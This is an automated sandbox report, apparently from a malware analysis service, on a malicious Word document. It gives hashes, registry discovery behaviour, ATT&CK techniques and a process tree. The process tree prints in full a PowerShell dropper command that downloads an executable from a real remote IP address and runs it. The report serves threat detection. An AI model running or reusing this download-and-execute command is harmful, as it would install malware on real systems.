60ad4099e56ed5a8fddb63395b0e0032726b5aaf47a71d590dddf147b433a976

Analysis

max time kernel
166s
max time network
194s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
25-11-2022 21:40

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General

Target

60ad4099e56ed5a8fddb63395b0e0032726b5aaf47a71d590dddf147b433a976.doc
Size

41KB
MD5

ac5e2c5bf3ba98b1d0fab9b762dc18b5
SHA1

d4b5de6534f3bc78d69c551394cf93d2ae99c8f4
SHA256

60ad4099e56ed5a8fddb63395b0e0032726b5aaf47a71d590dddf147b433a976
SHA512

018c0eaada7b987ca3c5f0afbf8e2ba54ebc28c0e71da6ebb36e7c7272b1d5d1380b0b77d2868ef7ba66aeb24a25dc6865614cbad3accedd39abf16bdcb4a51e
SSDEEP

384:uvc2AjFPbVOJ3J9isMjWCGSWba/JVZ0jLYAxmtV:8OTu3XaXW2dEYAO

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.48.56.62:8080/hhacz45a/mnnmz.php

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4988	4996	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

83 4092 powershell.exe

flow	pid	process
83	4092	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4996 WINWORD.EXE
4996 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4092 powershell.exe
4092 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4092 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4996 WINWORD.EXE
4996 WINWORD.EXE
4996 WINWORD.EXE
4996 WINWORD.EXE
4996 WINWORD.EXE
4996 WINWORD.EXE
4996 WINWORD.EXE

pid	process
4996	WINWORD.EXE
4996	WINWORD.EXE

pid	process
4092	powershell.exe
4092	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4092	powershell.exe

pid	process
4996	WINWORD.EXE
4996	WINWORD.EXE
4996	WINWORD.EXE
4996	WINWORD.EXE
4996	WINWORD.EXE
4996	WINWORD.EXE
4996	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 4996 wrote to memory of 4988	4996	WINWORD.EXE	cmd.exe
PID 4996 wrote to memory of 4988	4996	WINWORD.EXE	cmd.exe
PID 4988 wrote to memory of 4092	4988	cmd.exe	powershell.exe
PID 4988 wrote to memory of 4092	4988	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\60ad4099e56ed5a8fddb63395b0e0032726b5aaf47a71d590dddf147b433a976.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4996

C:\Windows\SYSTEM32\cmd.exe
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://185.48.56.62:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://185.48.56.62:8080/hhacz45a/mnnmz.php','C:\Users\Admin\AppData\Local\Temp\pJIOfdfs.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\pJIOfdfs.exe';
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4092

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4092-144-0x00007FFB68300000-0x00007FFB68DC1000-memory.dmp

Filesize
10.8MB

Download
memory/4092-143-0x00007FFB68300000-0x00007FFB68DC1000-memory.dmp

Filesize
10.8MB

Download
memory/4092-142-0x00007FFB68300000-0x00007FFB68DC1000-memory.dmp

Filesize
10.8MB

Download
memory/4092-141-0x000001F125F40000-0x000001F125F62000-memory.dmp

Filesize
136KB

Download
memory/4092-140-0x0000000000000000-mapping.dmp

Download
memory/4988-139-0x0000000000000000-mapping.dmp

Download
memory/4996-135-0x00007FFB54410000-0x00007FFB54420000-memory.dmp

Filesize
64KB

Download
memory/4996-138-0x00007FFB51AB0000-0x00007FFB51AC0000-memory.dmp

Filesize
64KB

Download
memory/4996-137-0x00007FFB51AB0000-0x00007FFB51AC0000-memory.dmp

Filesize
64KB

Download
memory/4996-136-0x00007FFB54410000-0x00007FFB54420000-memory.dmp

Filesize
64KB

Download
memory/4996-132-0x00007FFB54410000-0x00007FFB54420000-memory.dmp

Filesize
64KB

Download
memory/4996-133-0x00007FFB54410000-0x00007FFB54420000-memory.dmp

Filesize
64KB

Download
memory/4996-134-0x00007FFB54410000-0x00007FFB54420000-memory.dmp

Filesize
64KB

Download